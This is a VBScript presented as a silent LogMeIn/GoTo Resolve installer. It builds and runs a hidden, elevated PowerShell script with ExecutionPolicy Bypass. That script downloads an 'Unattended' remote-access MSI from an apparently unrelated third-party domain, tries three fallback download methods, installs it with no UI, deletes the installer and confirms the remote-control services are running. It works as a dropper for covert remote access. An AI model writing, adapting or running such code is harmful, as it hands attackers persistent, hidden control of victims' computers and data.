' ============================================================
' LogMeIn Resolve / GoTo Resolve Silent Installer
' ============================================================
' HOW TO RUN:
'   Double-click -> click Yes on the UAC prompt.
'   That is all. No windows will appear.
'
' Log file: C:\Windows\Temp\lmi_install.log
' MSI log:  C:\Windows\Temp\lmi_msi.log
'
' COMPATIBILITY: Windows 7 through Windows 11, 32 and 64-bit
' ============================================================
 
Option Explicit
 
Const MSI_URL  = "https://senalplastik.com/rmd/LogMeInResolve_Unattended.msi"
Const MSI_NAME = "LMIResolve_Unattended.msi"
Const WIN_TEMP = "C:\Windows\Temp"
 
Dim oShell, oFSO
Set oShell = CreateObject("WScript.Shell")
Set oFSO   = CreateObject("Scripting.FileSystemObject")
 
' ============================================================
' Write a self-contained PowerShell script to disk, then
' launch it elevated via ShellExecute runas. PowerShell is
' used for everything that is unreliable in pure VBS:
'   - TLS 1.2 downloads
'   - Proper process waiting
'   - Robust error handling and logging
' ============================================================
 
Dim psFile, logFile, msiFile
psFile  = WIN_TEMP & "\lmi_install.ps1"
logFile = WIN_TEMP & "\lmi_install.log"
msiFile = WIN_TEMP & "\" & MSI_NAME
 
' Build the PowerShell script line by line
Dim ps
ps = "$ErrorActionPreference = 'Stop'" & vbLf
ps = ps & "$LogFile  = '" & logFile & "'" & vbLf
ps = ps & "$MsiFile  = '" & msiFile & "'" & vbLf
ps = ps & "$MsiUrl   = '" & MSI_URL & "'" & vbLf
ps = ps & "$MsiLog   = '" & WIN_TEMP & "\lmi_msi.log'" & vbLf
ps = ps & "" & vbLf
ps = ps & "function Write-Log($msg) {" & vbLf
ps = ps & "    $line = (Get-Date -Format 'yyyy-MM-dd HH:mm:ss') + '  ' + $msg" & vbLf
ps = ps & "    Add-Content -Path $LogFile -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "Write-Log '================================================'" & vbLf
ps = ps & "Write-Log 'LogMeIn Resolve installer started'" & vbLf
ps = ps & "Write-Log ('Computer: ' + $env:COMPUTERNAME)" & vbLf
ps = ps & "Write-Log ('OS: ' + (Get-WmiObject Win32_OperatingSystem).Caption)" & vbLf
ps = ps & "Write-Log ('User: ' + $env:USERNAME)" & vbLf
ps = ps & "Write-Log '================================================'" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Check if already installed" & vbLf
ps = ps & "$serviceNames = @('LMIGuardianSvc','LMIIgnitionService','GoToResolveAgent','LogMeIn','LMIMaintSvc')" & vbLf
ps = ps & "foreach ($svc in $serviceNames) {" & vbLf
ps = ps & "    if (Get-Service -Name $svc -ErrorAction SilentlyContinue) {" & vbLf
ps = ps & "        Write-Log 'Already installed - service found: ' + $svc" & vbLf
ps = ps & "        exit 0" & vbLf
ps = ps & "    }" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Enable TLS 1.2 (needed for Windows 7/2008 R2)" & vbLf
ps = ps & "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]3072 } catch {}" & vbLf
ps = ps & "try { [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor 768 } catch {}" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Download MSI - try three methods" & vbLf
ps = ps & "Write-Log 'Downloading MSI from URL...'" & vbLf
ps = ps & "$downloaded = $false" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Method 1: Invoke-WebRequest" & vbLf
ps = ps & "try {" & vbLf
ps = ps & "    $ProgressPreference = 'SilentlyContinue'" & vbLf
ps = ps & "    Invoke-WebRequest -Uri $MsiUrl -OutFile $MsiFile -UseBasicParsing -MaximumRedirection 10 -ErrorAction Stop" & vbLf
ps = ps & "    if ((Get-Item $MsiFile -ErrorAction SilentlyContinue).Length -gt 1024) { $downloaded = $true; Write-Log 'Download method 1 (Invoke-WebRequest) succeeded.' }" & vbLf
ps = ps & "} catch { Write-Log ('Method 1 failed: ' + $_.Exception.Message) }" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Method 2: WebClient" & vbLf
ps = ps & "if (-not $downloaded) {" & vbLf
ps = ps & "    try {" & vbLf
ps = ps & "        $wc = New-Object System.Net.WebClient" & vbLf
ps = ps & "        $wc.DownloadFile($MsiUrl, $MsiFile)" & vbLf
ps = ps & "        if ((Get-Item $MsiFile -ErrorAction SilentlyContinue).Length -gt 1024) { $downloaded = $true; Write-Log 'Download method 2 (WebClient) succeeded.' }" & vbLf
ps = ps & "    } catch { Write-Log ('Method 2 failed: ' + $_.Exception.Message) }" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Method 3: BITS" & vbLf
ps = ps & "if (-not $downloaded) {" & vbLf
ps = ps & "    try {" & vbLf
ps = ps & "        Import-Module BitsTransfer -ErrorAction Stop" & vbLf
ps = ps & "        Start-BitsTransfer -Source $MsiUrl -Destination $MsiFile -ErrorAction Stop" & vbLf
ps = ps & "        if ((Get-Item $MsiFile -ErrorAction SilentlyContinue).Length -gt 1024) { $downloaded = $true; Write-Log 'Download method 3 (BITS) succeeded.' }" & vbLf
ps = ps & "    } catch { Write-Log ('Method 3 failed: ' + $_.Exception.Message) }" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "if (-not $downloaded) {" & vbLf
ps = ps & "    Write-Log 'ERROR: All download methods failed. Check URL and network.'" & vbLf
ps = ps & "    exit 1" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "$fileSize = (Get-Item $MsiFile).Length" & vbLf
ps = ps & "Write-Log ('Downloaded OK - ' + [math]::Round($fileSize/1MB, 1) + ' MB')" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Install the MSI silently" & vbLf
ps = ps & "# /qn   = no UI" & vbLf
ps = ps & "# /norestart = do not reboot automatically" & vbLf
ps = ps & "# ALLUSERS=1 = machine-wide install (required for service to register)" & vbLf
ps = ps & "# REBOOT=ReallySuppress = belt-and-suspenders reboot suppression" & vbLf
ps = ps & "Write-Log 'Running msiexec...'" & vbLf
ps = ps & "$msiArgs = @('/i', $MsiFile, '/qn', '/norestart', 'ALLUSERS=1', 'REBOOT=ReallySuppress', '/L*V', $MsiLog)" & vbLf
ps = ps & "$proc = Start-Process -FilePath 'msiexec.exe' -ArgumentList $msiArgs -Wait -PassThru -ErrorAction Stop" & vbLf
ps = ps & "$rc = $proc.ExitCode" & vbLf
ps = ps & "Write-Log ('msiexec exit code: ' + $rc)" & vbLf
ps = ps & "" & vbLf
ps = ps & "# If /qn failed, retry with /quiet" & vbLf
ps = ps & "if ($rc -ne 0 -and $rc -ne 3010) {" & vbLf
ps = ps & "    Write-Log '/qn failed - retrying with /quiet...'" & vbLf
ps = ps & "    $msiArgs2 = @('/i', $MsiFile, '/quiet', '/norestart', 'ALLUSERS=1', 'REBOOT=ReallySuppress', '/L*V', $MsiLog)" & vbLf
ps = ps & "    $proc2 = Start-Process -FilePath 'msiexec.exe' -ArgumentList $msiArgs2 -Wait -PassThru -ErrorAction Stop" & vbLf
ps = ps & "    $rc = $proc2.ExitCode" & vbLf
ps = ps & "    Write-Log ('/quiet exit code: ' + $rc)" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Cleanup MSI file" & vbLf
ps = ps & "Remove-Item $MsiFile -Force -ErrorAction SilentlyContinue" & vbLf
ps = ps & "" & vbLf
ps = ps & "switch ($rc) {" & vbLf
ps = ps & "    0    { Write-Log 'SUCCESS: Installation complete.' }" & vbLf
ps = ps & "    3010 { Write-Log 'SUCCESS: Installation complete - reboot required.' }" & vbLf
ps = ps & "    1603 { Write-Log 'ERROR 1603: Fatal install error (AV blocking, another MSI running, or permissions issue).' }" & vbLf
ps = ps & "    1618 { Write-Log 'ERROR 1618: Another installer is already running. Reboot and retry.' }" & vbLf
ps = ps & "    1619 { Write-Log 'ERROR 1619: Package invalid or not found. Check your MSI URL.' }" & vbLf
ps = ps & "    default { Write-Log ('ERROR: Install failed, code ' + $rc + '. See: ' + $MsiLog) }" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "# Wait and verify service" & vbLf
ps = ps & "if ($rc -eq 0 -or $rc -eq 3010) {" & vbLf
ps = ps & "    Write-Log 'Waiting 10 seconds for service registration...'" & vbLf
ps = ps & "    Start-Sleep -Seconds 10" & vbLf
ps = ps & "    $found = $false" & vbLf
ps = ps & "    foreach ($svc in $serviceNames) {" & vbLf
ps = ps & "        if (Get-Service -Name $svc -ErrorAction SilentlyContinue) { $found = $true; Write-Log ('VERIFIED: Service running - ' + $svc); break }" & vbLf
ps = ps & "    }" & vbLf
ps = ps & "    if (-not $found) { Write-Log 'WARNING: Service not detected yet. May need a reboot.' }" & vbLf
ps = ps & "}" & vbLf
ps = ps & "" & vbLf
ps = ps & "Write-Log '================================================'" & vbLf
ps = ps & "exit $rc" & vbLf
 
' Write the PowerShell script file
Dim f
Set f = oFSO.CreateTextFile(psFile, True, False)
f.Write ps
f.Close
 
' Find PowerShell executable
Dim sysRoot, psExe
sysRoot = oShell.ExpandEnvironmentStrings("%SystemRoot%")
psExe = sysRoot & "\System32\WindowsPowerShell\v1.0\powershell.exe"
If Not oFSO.FileExists(psExe) Then
    psExe = sysRoot & "\Sysnative\WindowsPowerShell\v1.0\powershell.exe"
End If
 
If Not oFSO.FileExists(psExe) Then
    ' Last resort: just use "powershell.exe" and hope it resolves
    psExe = "powershell.exe"
End If
 
' Launch PowerShell elevated with ShellExecute runas.
' -WindowStyle Hidden keeps it invisible after the UAC click.
' SW_HIDE (0) suppresses any window during UAC itself.
Dim psArgs
psArgs = "-ExecutionPolicy Bypass -NonInteractive -WindowStyle Hidden -File """ & psFile & """"
 
On Error Resume Next
CreateObject("Shell.Application").ShellExecute psExe, psArgs, "", "runas", 0
If Err.Number <> 0 Then
    ' If elevation failed (e.g., UAC disabled), try running without runas
    oShell.Run """" & psExe & """ " & psArgs, 0, False
    Err.Clear
End If
On Error GoTo 0
 